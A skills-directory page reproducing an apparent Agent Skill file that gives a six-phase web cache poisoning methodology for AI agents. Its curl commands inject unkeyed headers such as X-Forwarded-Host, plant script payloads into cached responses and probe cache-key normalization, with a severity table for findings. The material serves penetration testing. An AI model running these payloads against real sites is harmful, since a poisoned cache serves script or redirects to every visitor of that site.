OpenParable
Skip to content
← Back to skills

Attack Cache Poison

DevOps & Security
attack-cache-poison

Attack Cache Poison is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

Web cache poisoning — unkeyed header/parameter injection to serve malicious content to all users

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-cache-poison/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-cache-poison, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

Web Cache Poisoning

Objective

Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.

Testing Methodology

Phase 1: Identify Cache Behavior

# Check cache headers
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"

# Identify cache key components (vary header)
curl -s -D- https://TARGET/ | grep -i "vary"

Phase 2: Find Unkeyed Inputs

Test headers that are reflected in response but NOT part of cache key:

# X-Forwarded-Host
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"

# X-Forwarded-Scheme
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"

# X-Original-URL / X-Rewrite-URL
curl -s https://TARGET/ -H "X-Original-URL: /admin"

# Custom headers
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"

Phase 3: Cache Poisoning via Unkeyed Header

# Poison with XSS payload
curl -s https://TARGET/ \
  -H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"

# Wait for cache to store, then verify
curl -s https://TARGET/ | grep "alert(1)"

Phase 4: Unkeyed Parameter Poisoning

# Find parameters not in cache key
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
curl -s "https://TARGET/?utm_source=evil" | grep "evil"

# Reflected unkeyed parameter → stored XSS
curl -s "https://TARGET/?evil=<script>alert(1)</script>"

Phase 5: Fat GET / POST-based Poisoning

# Fat GET — body in GET request
curl -s https://TARGET/ -X GET -d "param=<script>alert(1)</script>"

# POST → GET cache confusion
curl -s https://TARGET/ -X POST \
  -H "X-HTTP-Method-Override: GET" \
  -d "param=evil"

Phase 6: Cache Key Normalization

# Path normalization differences
curl -s "https://TARGET/path/../admin"
curl -s "https://TARGET/PATH" vs "https://TARGET/path"
curl -s "https://TARGET/path;.js"

What Constitutes a Finding

FindingSeverity
Cached XSS payload served to other usersCritical (P1)
Cached redirect to attacker domainHigh (P2)
Denial of service via cache poisoning (error page cached)Medium (P3)
Unkeyed header reflected (no cache impact proven)Low (P4)

Evidence Requirements

  • Unkeyed input identified (header or parameter)
  • Response showing injected content
  • Cache headers proving response was cached (X-Cache: HIT, Age > 0)
  • Second request (clean) still receiving poisoned content
  • Impact: XSS, redirect, or DoS

References